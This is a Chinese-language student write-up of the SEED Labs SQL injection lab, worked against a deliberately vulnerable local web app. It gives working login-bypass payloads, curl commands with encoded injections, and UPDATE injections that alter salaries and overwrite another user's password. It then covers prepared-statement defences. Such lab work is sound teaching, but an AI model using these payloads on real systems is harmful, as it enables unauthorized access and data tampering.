[seed-labs] SQL注入攻击实验
文章目录
实验概览
- SQL 注入是一种代码注入技术,利用 Web 应用程序和数据库服务器之间接口的漏洞。当用户的输入 没有被 Web 应用程序正确检查就被发送到后端数据库服务器时,就会出现 SQL 注入漏洞。
- 很多 Web 应用程序从用户处获取输入,并使用用户输入来构建 SQL 查询,以获得数据库中的数据信 息。
- Web 应用程序也使用 SQL 查询在数据库中进行数据信息的存储。这些都是 Web 应用程序开发中的常 见做法。如果没有仔细构造 SQL 查询,则可能会出现 SQL 注入漏洞。SQL 注入攻击是对 Web 应用程序最 常见的攻击之一。
- 在本实验中,我们创建了一个易受 SQL 注入攻击的 Web 应用程序,它包含许多 Web 开发人员常犯 的错误。
实验目标
- 找到利用 SQL 注入漏洞的方法,展示攻击所能造成的伤害,并掌握防御此类攻击 的技术
- 本实验覆盖以下主题:
- SQL 语句:SELECT 与 UPDATE
- SQL 注入
- 语句预处理
实验过程
实验环境搭建
-
下载实验配置文件 Labsetup.zip(https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip)
-
#将主机名映射到容器的IP地址 sudo vim /etc/hosts
-
使用xftp传送至虚拟机解压并命名为soft2
-
#首次使用先建立环境 dcbuild #使所有容器在后台运行 dcup -d #查看容器ID dockps
注意
-
Administrator 是一个特权角色,可以管 理每个员工的个人资料信息;Employee 是一个非特权角色
-
URL 编码
Task 1:熟悉 SQL 语句
-
#用户名为 root,口令为 dees mysql -u root -pdees
-
#使用SQL库 use sqllab_users; #展示表项 show tables; #一句话打印表 select * from credential;
-
退出
Task 2:基于 SELECT 语句的 SQL 注入攻击
-
//登录网址 www.seed-server.com //弱口令注入;这句话放在文中表示 SELECT * from credential WHERE name = '1' or 1; //WHERE是一个判断语句,or 1 表示恒为1;永远正确;密码随便输即可 1' or 1# //但我们已经知道该数据库的管理员名字叫做Administrator,所以直接登录他的账号查看所有人即可;密码随便输 admin' and 1=1#
Task 2.1:基于网页的 SQL 注入攻击
- 查看所有员工的信息:我在上面内容已经完成
Task 2.2:基于命令行的 SQL 注入攻击
-
//就是在以上的基础上将shell中会引起歧义的字符进行转义即可 curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20and%201%3D1%23&Password=111' //或者复制粘贴 curl 'www.seed-server.com/unsafe_home.php?username=admin%27+and+1%3D1%23&Password=111'
-
这里有一个细节是我发现url编码中空格的编码方式有两种,‘+‘以及’20%’,网页显示加号说明该字符串为查询字符串,’+'只会在查询字符串中出现URLEncode 中对 空格的编码有 “+”和“%20”两种
Task 2.3:增加一条新的 SQL 语句
- 拼接SQL语句拼接SQL语句:task3实现部分会展示;同样的联合查询也可看做拼接
- 如果php程序确实是想要数据库运行多条sql语句,可以使用mysqli的multi_query()函数。
- 反制措施:
- 预编译:使用预编译有两个好处,首先相当于一次编译,多次运行,缓存了部分代码调高了效率;其次是防止SQL注入:使用预编译后,其后注入的参数将不会再进行 SQL 编译.也就是说其后注入进来的参数系统将不会认为它会是一条 SQL 语句,而默认其是一个参数,参数中的 or 或者 and 等就不是 SQL 语法保留字了
- 使用正则表达式过滤传入的参数;对一些字符进行过滤
- 特别要注意的是前后端分离并不能保证数据库安全
Task 3:基于 UPDATE 语句的 SQL 注入攻击
Task 3.1:修改自己的工资
-
$hashed_pwd = sha1($input_pwd); $sql = "UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"; $conn->query($sql);
-
//登入Alice的账户 Alice'# 密码随便输 //编辑Alice的个人信息,从地址开始输入 ',salary=114514,address=124,phonenumber='15' WHERE ID=1;# //实际执行的语句 UPDATE credential SET nickname='',email='',address='124',PhoneNumber='15',salary=114514,phonenumber='115' where ID=$id;
Task 3.2:修改他人的工资
-
想修改他人工资首先需要登录至该人账户
-
相同的方法(这里由于我们知道Boby所在表项为2;公司内部员工福利)
//登入Boby Boby'# //修改工资 ',salary=1 WHERE ID=2;#
Task 3.3:修改他人的口令
-
实验已经告诉我们是使用的SHA1函数生成的口令,同时我们查看unsafe_edit_backend.php
//打开环境 dochsh 36 //这里我的编号是36 //由于实验环境中没有安装相关的软件,我们先安装 apt-get update apt-get install vim //文本编辑器 //浏览 cd /var/www/SQL_Injection vim unsafe_edit_backend.php //关键部分 $conn = getDB(); // Don't do this, this is not safe against SQL injection attack $sql=""; if($input_pwd!=''){ // In case password field is not empty. $hashed_pwd = sha1($input_pwd); //hash掉了 //Update the password stored in the session. $_SESSION['pwd']=$hashed_pwd; $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;"; }else{ //这句只需要在上传的时候把pwd改掉即可;其余步骤同 // if passowrd field is empty. $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;"; } //假如要修改为123456 hash(123456)= //修改 ',password='7c4a8d09ca3762af61e59520943dc26494f8941b' WHERE name='Boby';#
Task 4:对策:语句预处理
-
防御对策
//预处理之前(样例) $sql = "SELECT name, local, gender FROM USER_TABLE WHERE id = $id AND password ='$pwd' "; $result = $conn->query($sql) //之后 $stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? "); // Bind parameters to the query $stmt->bind_param("is", $id, $pwd); $stmt->execute(); $stmt->bind_result($bind_name, $bind_local, $bind_gender); $stmt->fetch();
//修改之前 // do the query $result = $conn->query("SELECT id, name, eid, salary, ssn FROM credential WHERE name= '$input_uname' and Password= '$hashed_pwd'"); //修改之后 // do the query /*$result = $conn->query("SELECT id, name, eid, salary, ssn FROM credential WHERE name= '$input_uname' and Password= '$hashed_pwd'");*/ $stmt = $conn->prepare("SELECT id, name, eid, salary, ssn FROM credential WHERE name= ? and Password= ?"); //占位符 且变量后不能跟空格 $stmt->bind_param("ss", $input_uname, $hashed_pwd); //数据被绑定后可以通过函数绑定结果中的列属性到变量中 $stmt->execute(); //使用excute函数而不用system函数运行指令,他使用分开的蚕食分别接收命令名和数据,而不会将数据参数当作代码 $stmt->bind_result($id, $name, $eid, $salary, $ssn); $stmt->fetch(); //特定列属性的数据被放在了指定的变量中 //这种处理方式可以使数据不会被当作代码处理 /*if ($result->num_rows > 0) {//这条判断保证了输入不为空 // only take the first row $firstrow = $result->fetch_assoc(); $id = $firstrow["id"]; $name = $firstrow["name"]; $eid = $firstrow["eid"]; $salary = $firstrow["salary"]; $ssn = $firstrow["ssn"]; }*/
-
修改前:
-
修改后:
-
注意:传递的变量后面不能跟空格
思考题
-
假设数据库只存储 password 和 eid 两列的 SHA256 值。使用下面 SQL 语句与数据库交互,其中 $passwd 和 $eid 变量的值由用户提供。这个程序是否存在 SQL 注入问题?如果没有,请解释原因;如果 有,请给出构造范例。
$sql = "SELECT * FROM employee WHERE eid='SHA2($eid, 256)' and password='SHA2($passwd, 256)'";
//该语句存在注入,用and链接参数可拼接,因此只需1,256)'and 1=1#
篇外
- 本次实验基于 SEED Labs 的 SQL Injection Attack Lab 部分:https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_ Injection/
- docker使用手册https://github.com/seed-labs/seed-labs/blob/master/manuals/docker/SEEDManualContainer.md
- SQL-ProblemSQL